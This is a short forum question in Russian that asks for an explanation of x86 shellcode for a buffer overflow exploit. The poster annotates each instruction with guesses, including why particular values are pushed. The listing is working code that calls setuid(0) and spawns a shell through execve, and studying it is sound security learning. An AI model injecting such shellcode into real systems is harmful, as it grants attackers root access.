Это шелл-код для использования уязвимости Bufferoverflow. Он устанавливает setuid (0)
и порождает оболочку с помощью execve ()
. Вот как я это интерпретировал:
xor %ebx,%ebx ; Xoring to make ebx value 0
lea 0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int $0x80 ; interrupt
push %ebx ; push ebx
push $0x68732f6e ; push address // why this address only????
push $0x69622f2f ; push address // same question
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
cltd ; mov execve sys call into al
mov $0xb,%al
int $0x80 ; interrupt
Кто-нибудь может четко объяснить все шаги?